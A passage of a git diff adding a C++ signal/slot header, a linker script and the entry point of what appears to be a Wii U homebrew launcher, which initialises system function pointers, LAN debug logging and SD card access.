const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base4() + { + ; + } + + _signal_base4(const _signal_base4& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base4() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + this->m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base5 : public _signal_base + { + public: + typedef std::list<_connection_base5 *> connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base5() + { + ; + } + + _signal_base5(const _signal_base5& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base5() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base6 : public _signal_base + { + public: + typedef std::list<_connection_base6 *> connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base6() + { + ; + } + + _signal_base6(const _signal_base6& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base6() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base7 : public _signal_base + { + public: + typedef std::list<_connection_base7 *> connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base7() + { + ; + } + + _signal_base7(const _signal_base7& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base7() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base8 : public _signal_base + { + public: + typedef std::list<_connection_base8 *> + connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base8() + { + ; + } + + _signal_base8(const _signal_base8& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base8() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + + template + class _connection0 : public _connection_base0 + { + public: + _connection0() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection0(dest_type* pobject, void (dest_type::*pmemfun)()) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection0() + { + ; + } + + virtual _connection_base0* clone() + { + return new _connection0(*this); + } + + virtual _connection_base0* duplicate(has_slots* pnewdest) + { + return new _connection0((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit() + { + (m_pobject->*m_pmemfun)(); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(); + }; + + template + class _connection1 : public _connection_base1 + { + public: + _connection1() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection1(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection1() + { + ; + } + + virtual _connection_base1* clone() + { + return new _connection1(*this); + } + + virtual _connection_base1* duplicate(has_slots* pnewdest) + { + return new _connection1((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1) + { + (m_pobject->*m_pmemfun)(a1); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type); + }; + + template + class _connection2 : public _connection_base2 + { + public: + _connection2() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection2(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection2() + { + ; + } + + + virtual _connection_base2* clone() + { + return new _connection2(*this); + } + + virtual _connection_base2* duplicate(has_slots* pnewdest) + { + return new _connection2((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2) + { + (m_pobject->*m_pmemfun)(a1, a2); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type); + }; + + template + class _connection3 : public _connection_base3 + { + public: + _connection3() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection3(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection3() + { + ; + } + + + virtual _connection_base3* clone() + { + return new _connection3(*this); + } + + virtual _connection_base3* duplicate(has_slots* pnewdest) + { + return new _connection3((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3) + { + (m_pobject->*m_pmemfun)(a1, a2, a3); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type); + }; + + template + class _connection4 : public _connection_base4 + { + public: + _connection4() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection4(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection4() + { + ; + } + + virtual _connection_base4* clone() + { + return new _connection4(*this); + } + + virtual _connection_base4* duplicate(has_slots* pnewdest) + { + return new _connection4((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, + arg4_type a4) + { + (m_pobject->*m_pmemfun)(a1, a2, a3, a4); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, + arg4_type); + }; + + template + class _connection5 : public _connection_base5 + { + public: + _connection5() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection5(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection5() + { + ; + } + + virtual _connection_base5* clone() + { + return new _connection5(*this); + } + + virtual _connection_base5* duplicate(has_slots* pnewdest) + { + return new _connection5((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5) + { + (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, + arg5_type); + }; + + template + class _connection6 : public _connection_base6 + { + public: + _connection6() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection6(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection6() + { + ; + } + + virtual _connection_base6* clone() + { + return new _connection6(*this); + } + + virtual _connection_base6* duplicate(has_slots* pnewdest) + { + return new _connection6((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6) + { + (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, + arg5_type, arg6_type); + }; + + template + class _connection7 : public _connection_base7 + { + public: + _connection7() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection7(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection7() + { + ; + } + + virtual _connection_base7* clone() + { + return new _connection7(*this); + } + + virtual _connection_base7* duplicate(has_slots* pnewdest) + { + return new _connection7((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7) + { + (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, + arg5_type, arg6_type, arg7_type); + }; + + template + class _connection8 : public _connection_base8 + { + public: + _connection8() + { + this->pobject = NULL; + this->pmemfun = NULL; + } + + _connection8(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, + arg7_type, arg8_type)) + { + m_pobject = pobject; + m_pmemfun = pmemfun; + } + + virtual ~_connection8() + { + ; + } + + virtual _connection_base8* clone() + { + return new _connection8(*this); + } + + virtual _connection_base8* duplicate(has_slots* pnewdest) + { + return new _connection8((dest_type *)pnewdest, m_pmemfun); + } + + virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) + { + (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7, a8); + } + + virtual has_slots* getdest() const + { + return m_pobject; + } + + private: + dest_type* m_pobject; + void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, + arg5_type, arg6_type, arg7_type, arg8_type); + }; + + template + class signal0 : public _signal_base0 + { + public: + typedef typename _signal_base0::connections_list::const_iterator const_iterator; + signal0() + { + ; + } + + signal0(const signal0& s) + : _signal_base0(s) + { + ; + } + + virtual ~signal0() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)()) + { + lock_block lock(this); + _connection0* conn = + new _connection0(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit() + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(); + + it = itNext; + } + } + + void operator()() + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(); + + it = itNext; + } + } + }; + + template + class signal1 : public _signal_base1 + { + public: + typedef typename _signal_base1::connections_list::const_iterator const_iterator; + signal1() + { + ; + } + + signal1(const signal1& s) + : _signal_base1(s) + { + ; + } + + virtual ~signal1() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type)) + { + lock_block lock(this); + _connection1* conn = + new _connection1(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1); + + it = itNext; + } + } + + void operator()(arg1_type a1) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1); + + it = itNext; + } + } + }; + + template + class signal2 : public _signal_base2 + { + public: + typedef typename _signal_base2::connections_list::const_iterator const_iterator; + signal2() + { + ; + } + + signal2(const signal2& s) + : _signal_base2(s) + { + ; + } + + virtual ~signal2() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type)) + { + lock_block lock(this); + _connection2* conn = new + _connection2(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2); + + it = itNext; + } + } + }; + + template + class signal3 : public _signal_base3 + { + public: + typedef typename _signal_base3::connections_list::const_iterator const_iterator; + signal3() + { + ; + } + + signal3(const signal3& s) + : _signal_base3(s) + { + ; + } + + virtual ~signal3() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type)) + { + lock_block lock(this); + _connection3* conn = + new _connection3(pclass, + pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3); + + it = itNext; + } + } + }; + + template + class signal4 : public _signal_base4 + { + public: + typedef typename _signal_base4::connections_list::const_iterator const_iterator; + signal4() + { + ; + } + + signal4(const signal4& s) + : _signal_base4(s) + { + ; + } + + virtual ~signal4() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type)) + { + lock_block lock(this); + _connection4* + conn = new _connection4(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4); + + it = itNext; + } + } + }; + + template + class signal5 : public _signal_base5 + { + public: + typedef typename _signal_base5::connections_list::const_iterator const_iterator; + signal5() + { + ; + } + + signal5(const signal5& s) + : _signal_base5(s) + { + ; + } + + virtual ~signal5() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type)) + { + lock_block lock(this); + _connection5* conn = new _connection5(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5); + + it = itNext; + } + } + }; + + + template + class signal6 : public _signal_base6 + { + public: + typedef typename _signal_base6::connections_list::const_iterator const_iterator; + signal6() + { + ; + } + + signal6(const signal6& s) + : _signal_base6(s) + { + ; + } + + virtual ~signal6() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) + { + lock_block lock(this); + _connection6* conn = + new _connection6(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6); + + it = itNext; + } + } + }; + + template + class signal7 : public _signal_base7 + { + public: + typedef typename _signal_base7::connections_list::const_iterator const_iterator; + signal7() + { + ; + } + + signal7(const signal7& s) + : _signal_base7(s) + { + ; + } + + virtual ~signal7() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, + arg7_type)) + { + lock_block lock(this); + _connection7* conn = + new _connection7(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6, a7); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6, a7); + + it = itNext; + } + } + }; + + template + class signal8 : public _signal_base8 + { + public: + typedef typename _signal_base8::connections_list::const_iterator const_iterator; + signal8() + { + ; + } + + signal8(const signal8& s) + : _signal_base8(s) + { + ; + } + + virtual ~signal8() + { + ; + } + + template + void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, + arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, + arg7_type, arg8_type)) + { + lock_block lock(this); + _connection8* conn = + new _connection8(pclass, pmemfun); + this->m_connected_slots.push_back(conn); + pclass->signal_connect(this); + } + + void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); + + it = itNext; + } + } + + void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, + arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) + { + lock_block lock(this); + const_iterator itNext, it = this->m_connected_slots.begin(); + const_iterator itEnd = this->m_connected_slots.end(); + + while(it != itEnd) + { + itNext = it; + ++itNext; + + (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); + + it = itNext; + } + } + }; + +}; // namespace sigslot + +#endif // SIGSLOT_H__ diff --git a/src/link.ld b/src/link.ld new file mode 100644 index 0000000..96be9b2 --- /dev/null +++ b/src/link.ld @@ -0,0 +1,40 @@ +OUTPUT(homebrew_launcher.elf); + +/* Tell linker where our application entry is so the garbage collect can work correct */ +ENTRY(__entry_menu); + +SECTIONS { + . = 0x00802000; + .text : { + *(.text*); + } + .rodata : { + *(.rodata*); + } + .data : { + *(.data*); + + __sdata_start = .; + *(.sdata*); + __sdata_end = .; + + __sdata2_start = .; + *(.sdata2*); + __sdata2_end = .; + } + .bss : { + __bss_start = .; + *(.bss*); + *(.sbss*); + *(COMMON); + __bss_end = .; + } + __CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + +/******************************************************** FS ********************************************************/ +/* coreinit.rpl difference in addresses 0xFE3C00 */ diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..3727b95 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,69 @@ +//#include +#include "Application.h" +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/fs_functions.h" +#include "dynamic_libs/gx2_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "dynamic_libs/vpad_functions.h" +#include "dynamic_libs/padscore_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "dynamic_libs/ax_functions.h" +#include "fs/fs_utils.h" +#include "fs/sd_fat_devoptab.h" +#include "system/memory.h" +#include "utils/logger.h" +#include "utils/utils.h" +#include "common/common.h" + +/* Entry point */ +extern "C" int Menu_Main(void) +{ + //!******************************************************************* + //! Initialize function pointers * + //!******************************************************************* + //! do OS (for acquire) and sockets first so we got logging + InitOSFunctionPointers(); + InitSocketFunctionPointers(); + + log_init("192.168.178.3"); + log_print("Starting launcher\n"); + + InitFSFunctionPointers(); + InitGX2FunctionPointers(); + InitSysFunctionPointers(); + InitVPadFunctionPointers(); + InitPadScoreFunctionPointers(); + InitAXFunctionPointers(); + + log_print("Function exports loaded\n"); + + //!******************************************************************* + //! Initialize heap memory * + //!******************************************************************* + log_print("Initialize memory management\n"); + memoryInitialize(); + + //!******************************************************************* + //! Initialize FS * + //!******************************************************************* + log_printf("Mount SD partition\n"); + mount_sd_fat("sd"); + + //!******************************************************************* + //! Enter main application * + //!******************************************************************* + log_printf("Start main application\n"); + int returnCode = Application::instance()->exec(); + log_printf("Main application stopped\n"); + + Application::destroyInstance(); + + log_printf("Unmount SD\n"); + unmount_sd_fat("sd"); + log_printf("Release memory\n"); + memoryRelease(); + log_deinit(); + + return returnCode; +} + diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..0147292 --- /dev/null +++ b/src/main.h @@ -0,0 +1,19 @@ +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "common/types.h" +#include "dynamic_libs/os_functions.h" + +/* Main */ +#ifdef __cplusplus +extern "C" { +#endif + +//! C wrapper for our C++ functions +int Menu_Main(void); + +#ifdef __cplusplus +} +#endif + +#endif 